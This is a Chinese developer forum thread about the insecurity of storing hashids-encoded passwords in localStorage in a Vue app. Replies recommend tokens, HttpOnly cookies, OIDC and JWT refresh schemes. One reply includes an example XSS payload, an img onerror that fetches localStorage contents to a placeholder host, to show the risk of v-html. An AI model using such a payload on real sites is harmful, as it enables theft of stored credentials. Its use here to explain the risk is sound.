前端用 Vue 框架搭建的,生成一串密钥保存在 .env 里
使用 hashids 把用户密码加密保存到 localStorage ,在登录界面 取出密文用 hashids 解密,再自动填充到 password 中。
1
sheeta 2023-02-25 17:57:17 +08:00 1
掩耳盗铃...
|
2
renmu 2023-02-25 18:26:27 +08:00 via Android
你怎么解密他就怎么解密,所以你为什么要把密码存在本地
|
3
wunonglin 2023-02-25 18:27:48 +08:00
hashids 放前端用?
|
4
yaott2020 2023-02-25 18:29:26 +08:00 via Android
建议上 OIDC
|
5
DoveAz 2023-02-25 18:31:50 +08:00
为什么要破解,我把你加密的密码存到我的 locaostorage 不就行了
|
6
okakuyang 2023-02-25 18:34:34 +08:00
1.攻击者要找到脚本漏洞使用 xss 攻击方式获取用户密码
2.应该保存 token 登陆,而不是密码明文。 |
7
yjim OP |
8
yjim OP |
11
yjim OP |
12
a33291 2023-02-25 19:06:08 +08:00
只要明文传输,fiddler 抓一下就能看到,甚至都不需要知道他怎么加密的
|
14
wangxiaoaer 2023-02-25 19:07:34 +08:00
我就没搞懂,你前面搞这么复杂,后端请求难道不验证了吗?如果验证携带什么?如果不验证就类似开放的系统,破了其他用户密码有毛用?
|
15
Senorsen 2023-02-25 19:14:48 +08:00
MAC 怎么拿的??
|
16
rabbbit 2023-02-25 19:14:48 +08:00
如果部分地方用了 v-html 渲染用户输入的内容 ,则可能被通过 XSS 攻击的方式获取到密码,例如:
<div v-html="content"></div> content:'<img src="" onerror="fetch(`http://127.0.0.1/${JSON.stringify(localStorage)}`)" />' |
18
rabbbit 2023-02-25 19:21:06 +08:00
想要安全就用 cookies ,然后设置 Secure 和 HttpOnly
|
19
yjim OP @Senorsen 只是一个思路,不一定非要是 mac ,像一些大厂,你异地登录就能识别出来,然后要求手机验证,总有办法进行识别的。我原先想着在前端做一些保护,比如加密存储 token ,不过看起来前端是彻底暴露的,所以重点还是要在后端做好防护才行。
|
22
yaott2020 2023-02-25 20:06:32 +08:00 via Android
你不如设置 cookie 存个 token ,设置过期时间
|
26
leaflxh 2023-02-26 16:58:01 +08:00
可以考虑非对称加密,客户端拿公钥加密存到本地,然后把密文发到服务端用私钥解密
|
27
leaflxh 2023-02-26 16:58:35 +08:00
(没用过 jwt
|
28
zhengfan2016 2023-02-26 17:09:26 +08:00
没看懂帖子想说什么,如果是 jwt 的话,前端保存 token 到 localstorage 就好了,jwt 指定一个小时过期,即将过期的前半个小时,前端判断快过期了,自己调用接口用旧 token 去更换新 token 。
只要用户一直在线四处浏览网页,就不会掉登录。 闲麻烦就用双 token ,一个时效长一点的 token(14 天)和时效一个小时的 token ,平时只用短时效的 tolen 请求 api ,token 快过期了,再用长 token 去刷新短 token |